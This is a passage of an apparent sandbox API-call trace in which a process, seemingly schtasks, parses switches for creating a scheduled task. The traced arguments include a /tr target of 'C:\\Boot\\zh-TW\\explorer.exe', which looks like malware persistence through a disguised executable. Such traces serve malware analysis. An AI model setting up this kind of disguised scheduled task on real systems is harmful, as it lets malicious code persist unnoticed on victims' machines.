(lpString="mo") returned 2 [0118.857] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.857] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|create|") returned 8 [0118.857] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.857] lstrlenW (lpString="|create|") returned 8 [0118.857] lstrlenW (lpString="|mo|") returned 4 [0118.857] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0118.857] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.857] lstrlenW (lpString="?") returned 1 [0118.857] lstrlenW (lpString="?") returned 1 [0118.857] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.857] lstrlenW (lpString="mo") returned 2 [0118.857] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.857] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|?|") returned 3 [0118.857] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.857] lstrlenW (lpString="|?|") returned 3 [0118.857] lstrlenW (lpString="|mo|") returned 4 [0118.857] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.857] lstrlenW (lpString="s") returned 1 [0118.857] lstrlenW (lpString="s") returned 1 [0118.857] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.857] lstrlenW (lpString="mo") returned 2 [0118.857] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.857] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|s|") returned 3 [0118.857] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.858] lstrlenW (lpString="|s|") returned 3 [0118.858] lstrlenW (lpString="|mo|") returned 4 [0118.858] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.858] lstrlenW (lpString="u") returned 1 [0118.858] lstrlenW (lpString="u") returned 1 [0118.858] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.858] lstrlenW (lpString="mo") returned 2 [0118.858] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.858] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|u|") returned 3 [0118.858] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.858] lstrlenW (lpString="|u|") returned 3 [0118.858] lstrlenW (lpString="|mo|") returned 4 [0118.858] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.858] lstrlenW (lpString="p") returned 1 [0118.858] lstrlenW (lpString="p") returned 1 [0118.858] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.858] lstrlenW (lpString="mo") returned 2 [0118.858] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.858] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|p|") returned 3 [0118.858] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.858] lstrlenW (lpString="|p|") returned 3 [0118.858] lstrlenW (lpString="|mo|") returned 4 [0118.858] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.858] lstrlenW (lpString="ru") returned 2 [0118.858] lstrlenW (lpString="ru") returned 2 [0118.858] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.858] lstrlenW (lpString="mo") returned 2 [0118.858] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.859] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ru|") returned 4 [0118.859] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.859] lstrlenW (lpString="|ru|") returned 4 [0118.859] lstrlenW (lpString="|mo|") returned 4 [0118.859] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0118.859] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.859] lstrlenW (lpString="rp") returned 2 [0118.859] lstrlenW (lpString="rp") returned 2 [0118.859] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.859] lstrlenW (lpString="mo") returned 2 [0118.859] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.859] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rp|") returned 4 [0118.859] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.859] lstrlenW (lpString="|rp|") returned 4 [0118.859] lstrlenW (lpString="|mo|") returned 4 [0118.859] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0118.859] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.859] lstrlenW (lpString="sc") returned 2 [0118.859] lstrlenW (lpString="sc") returned 2 [0118.859] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.859] lstrlenW (lpString="mo") returned 2 [0118.859] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.859] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.859] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.859] lstrlenW (lpString="|sc|") returned 4 [0118.860] lstrlenW (lpString="|mo|") returned 4 [0118.860] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0118.860] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.860] lstrlenW (lpString="mo") returned 2 [0118.860] lstrlenW (lpString="mo") returned 2 [0118.860] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.860] lstrlenW (lpString="mo") returned 2 [0118.860] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.860] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.860] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.860] lstrlenW (lpString="|mo|") returned 4 [0118.860] lstrlenW (lpString="|mo|") returned 4 [0118.860] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0118.860] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.860] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.860] lstrlenW (lpString="12") returned 2 [0118.860] lstrlenW (lpString="-/") returned 2 [0118.860] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0118.860] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.860] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.860] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.860] lstrlenW (lpString="12") returned 2 [0118.860] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0118.860] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.860] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.860] _memicmp (_Buf1=0x1a4f4a3ab60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.860] lstrlenW (lpString="12") returned 2 [0118.860] lstrlenW (lpString="12") returned 2 [0118.860] lstrlenW (lpString=" \x09") returned 2 [0118.860] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0118.861] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0118.861] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0118.861] GetLastError () returned 0x0 [0118.861] lstrlenW (lpString="12") returned 2 [0118.861] lstrlenW (lpString="12") returned 2 [0118.861] GetProcessHeap () returned 0x1a4f4a30000 [0118.861] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x6) returned 0x1a4f4a34a30 [0118.861] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.861] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.861] lstrlenW (lpString="/tr") returned 3 [0118.861] lstrlenW (lpString="-/") returned 2 [0118.861] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.861] lstrlenW (lpString="create") returned 6 [0118.861] lstrlenW (lpString="create") returned 6 [0118.861] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.861] lstrlenW (lpString="tr") returned 2 [0118.861] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.861] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|create|") returned 8 [0118.861] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.861] lstrlenW (lpString="|create|") returned 8 [0118.861] lstrlenW (lpString="|tr|") returned 4 [0118.861] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0118.861] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.861] lstrlenW (lpString="?") returned 1 [0118.861] lstrlenW (lpString="?") returned 1 [0118.861] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.861] lstrlenW (lpString="tr") returned 2 [0118.861] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.862] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|?|") returned 3 [0118.862] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.862] lstrlenW (lpString="|?|") returned 3 [0118.862] lstrlenW (lpString="|tr|") returned 4 [0118.862] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.862] lstrlenW (lpString="s") returned 1 [0118.862] lstrlenW (lpString="s") returned 1 [0118.862] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.862] lstrlenW (lpString="tr") returned 2 [0118.862] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.862] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|s|") returned 3 [0118.862] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.862] lstrlenW (lpString="|s|") returned 3 [0118.862] lstrlenW (lpString="|tr|") returned 4 [0118.862] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.862] lstrlenW (lpString="u") returned 1 [0118.862] lstrlenW (lpString="u") returned 1 [0118.862] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.862] lstrlenW (lpString="tr") returned 2 [0118.862] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.862] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|u|") returned 3 [0118.862] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.862] lstrlenW (lpString="|u|") returned 3 [0118.862] lstrlenW (lpString="|tr|") returned 4 [0118.862] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.862] lstrlenW (lpString="p") returned 1 [0118.862] lstrlenW (lpString="p") returned 1 [0118.862] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.863] lstrlenW (lpString="tr") returned 2 [0118.863] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.863] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|p|") returned 3 [0118.863] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.863] lstrlenW (lpString="|p|") returned 3 [0118.863] lstrlenW (lpString="|tr|") returned 4 [0118.863] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.863] lstrlenW (lpString="ru") returned 2 [0118.863] lstrlenW (lpString="ru") returned 2 [0118.863] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.863] lstrlenW (lpString="tr") returned 2 [0118.863] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.863] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ru|") returned 4 [0118.863] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.863] lstrlenW (lpString="|ru|") returned 4 [0118.863] lstrlenW (lpString="|tr|") returned 4 [0118.863] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0118.863] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.863] lstrlenW (lpString="rp") returned 2 [0118.863] lstrlenW (lpString="rp") returned 2 [0118.863] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.863] lstrlenW (lpString="tr") returned 2 [0118.863] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.863] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rp|") returned 4 [0118.864] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.864] lstrlenW (lpString="|rp|") returned 4 [0118.864] lstrlenW (lpString="|tr|") returned 4 [0118.864] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0118.864] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.864] lstrlenW (lpString="sc") returned 2 [0118.864] lstrlenW (lpString="sc") returned 2 [0118.864] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.864] lstrlenW (lpString="tr") returned 2 [0118.864] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.864] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.864] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.864] lstrlenW (lpString="|sc|") returned 4 [0118.864] lstrlenW (lpString="|tr|") returned 4 [0118.864] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0118.864] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.864] lstrlenW (lpString="mo") returned 2 [0118.864] lstrlenW (lpString="mo") returned 2 [0118.864] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.864] lstrlenW (lpString="tr") returned 2 [0118.864] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.864] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.864] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.864] lstrlenW (lpString="|mo|") returned 4 [0118.864] lstrlenW (lpString="|tr|") returned 4 [0118.864] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0118.864] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.865] lstrlenW (lpString="d") returned 1 [0118.865] lstrlenW (lpString="d") returned 1 [0118.865] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.865] lstrlenW (lpString="tr") returned 2 [0118.865] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.865] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|d|") returned 3 [0118.865] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.865] lstrlenW (lpString="|d|") returned 3 [0118.865] lstrlenW (lpString="|tr|") returned 4 [0118.865] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.865] lstrlenW (lpString="m") returned 1 [0118.865] lstrlenW (lpString="m") returned 1 [0118.865] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.865] lstrlenW (lpString="tr") returned 2 [0118.865] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.865] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|m|") returned 3 [0118.865] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.865] lstrlenW (lpString="|m|") returned 3 [0118.865] lstrlenW (lpString="|tr|") returned 4 [0118.865] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.865] lstrlenW (lpString="i") returned 1 [0118.865] lstrlenW (lpString="i") returned 1 [0118.865] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.865] lstrlenW (lpString="tr") returned 2 [0118.865] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.865] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|i|") returned 3 [0118.865] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.866] lstrlenW (lpString="|i|") returned 3 [0118.866] lstrlenW (lpString="|tr|") returned 4 [0118.866] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.866] lstrlenW (lpString="tn") returned 2 [0118.866] lstrlenW (lpString="tn") returned 2 [0118.866] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.866] lstrlenW (lpString="tr") returned 2 [0118.866] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.866] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.866] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.866] lstrlenW (lpString="|tn|") returned 4 [0118.866] lstrlenW (lpString="|tr|") returned 4 [0118.866] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0118.866] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.866] lstrlenW (lpString="tr") returned 2 [0118.866] lstrlenW (lpString="tr") returned 2 [0118.866] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.866] lstrlenW (lpString="tr") returned 2 [0118.866] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.866] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.866] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.866] lstrlenW (lpString="|tr|") returned 4 [0118.866] lstrlenW (lpString="|tr|") returned 4 [0118.866] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0118.866] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.866] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.866] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.866] lstrlenW (lpString="-/") returned 2 [0118.867] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.867] StrChrIW (lpStart="'C:\\Boot\\zh-TW\\explorer.exe'", wMatch=0x3a) returned=":\\Boot\\zh-TW\\explorer.exe'" [0118.867] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.867] _memicmp (_Buf1=0x1a4f4a3a9e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.867] _memicmp (_Buf1=0x1a4f4a3ab20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] lstrlenW (lpString="'C") returned 2 [0118.867] lstrlenW (lpString="-/") returned 2 [0118.867] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.867] _memicmp (_Buf1=0x1a4f4a3ab60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.867] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.867] GetProcessHeap () returned 0x1a4f4a30000 [0118.867] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3aa80) returned 1 [0118.867] GetProcessHeap () returned 0x1a4f4a30000 [0118.867] RtlReAllocateHeap (Heap=0x1a4f4a30000, Flags=0xc, Ptr=0x1a4f4a3aa80, Size=0x3a) returned 0x1a4f4a3c410 [0118.867] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.867] lstrlenW (lpString=" \x09") returned 2 [0118.867] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0118.867] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0118.867] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0118.867] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0118.868] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0118.868] GetLastError () returned 0x0 [0118.868] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.868] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.868] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.868] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.868] lstrlenW (lpString="/rl") returned 3 [0118.868] lstrlenW (lpString="-/") returned 2 [0118.869] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.869] lstrlenW (lpString="create") returned 6 [0118.869] lstrlenW (lpString="create") returned 6 [0118.869] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.869] lstrlenW (lpString="rl") returned 2 [0118.869] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.869] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|create|") returned 8 [0118.869] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.869] lstrlenW (lpString="|create|") returned 8 [0118.869] lstrlenW (lpString="|rl|") returned 4 [0118.869] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0118.869] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.869] lstrlenW (lpString="?") returned 1 [0118.869] lstrlenW (lpString="?") returned 1 [0118.869] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.869] lstrlenW (lpString="rl") returned 2 [0118.869] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.869] _vsnwprintf (in: 